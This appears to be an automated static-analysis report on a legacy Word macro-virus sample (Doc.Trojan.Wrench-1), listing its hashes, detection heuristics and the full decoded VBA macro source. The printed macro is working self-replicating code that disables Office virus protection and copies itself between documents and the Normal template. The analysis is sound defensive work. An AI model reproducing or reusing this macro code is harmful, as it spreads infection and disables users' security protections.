Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71f4f120134cf2a9…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-05-10 22:20:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-09
MD5: dab53f4db3671b0918965f3a3404d8c3 SHA-1: b10670f82d4f4eb57530784293023573b1335205 SHA-256: 71f4f120134cf2a9c8f0429c691f24e91464568636db8799a991bf44ae7a5984
228 Risk Score

Heuristics 5

  • ClamAV: Doc.Trojan.Wrench-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Application.Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1317 bytes
SHA-256: debc1a492bff90ff90ad6091d440be10e471cb26bc3b2a6077cf9304b2fb6dde
Detection
ClamAV: Doc.Trojan.Wrench-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EgertonLab"
Sub AutoOpen()
On Error Resume Next
 
  Call Infect
End Sub
Sub ViewVBCode()
 With Assistant
    .Animation = msoAnimationGestureDown
    .Visible = True
    .MouseTips = True
    .Help
  End With
   Call Infect
End Sub


Sub Infect()
On Error Resume Next
Application.Options.VirusProtection = False
Application.Options.ConfirmConversions = False
Application.ActiveDocument.AcceptAllRevisions
ModulName = "EgertonLab"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
  Set Carrier = NormalTemplate.VBProject.VBComponents
  Set host = ActiveDocument.VBProject.VBComponents
Else
  Set Carrier = ActiveDocument.VBProject.VBComponents
  Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
  Carrier(ModulName).Export "c:\ascii.vxd"
  host.Import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub
Sub formatfont()
 Call ViewVBCode
 Call Infect
End Sub